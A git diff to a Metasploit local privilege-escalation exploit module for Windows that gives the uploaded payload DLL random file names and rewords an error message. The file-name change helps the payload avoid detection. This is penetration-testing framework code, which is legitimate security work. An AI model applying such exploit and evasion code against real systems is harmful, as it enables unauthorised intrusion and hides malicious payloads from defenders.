diff --git a/modules/exploits/windows/local/ntapphelpcachecontrol.rb b/modules/exploits/windows/local/ntapphelpcachecontrol.rb index 2012af879a..2315c5403e 100644 --- a/modules/exploits/windows/local/ntapphelpcachecontrol.rb +++ b/modules/exploits/windows/local/ntapphelpcachecontrol.rb @@ -92,7 +92,7 @@ class Metasploit3 < Msf::Exploit::Local end def upload_payload - payload_filepath = "#{temp}\\msf_payload.dll" + payload_filepath = "#{temp}\\#{Rex::Text.rand_text_alpha(6)}.dll" # Save the payload DLL's file path so the exploit can find it set_filepath_env(payload_filepath) @@ -100,7 +100,7 @@ class Metasploit3 < Msf::Exploit::Local # Upload the payload upload_payload_dll(payload_filepath) if !file?(payload_filepath) - fail_with(Failure::Unknown, "Failed to save the payload DLL due to an unknown reason") + fail_with(Failure::Unknown, "Failed to save the payload DLL, or got removed. No idea why.") end end @@ -111,7 +111,7 @@ class Metasploit3 < Msf::Exploit::Local session.core.load_library( 'LibraryFilePath' => lib_file_path, - 'TargetFilePath' => "#{temp}\\ntapphelpcachecontrol.dll", + 'TargetFilePath' => "#{temp}\\#{Rex::Text.rand_text_alpha(5)}.dll", 'UploadLibrary' => true, 'Extension' => false, 'SaveToDisk' => false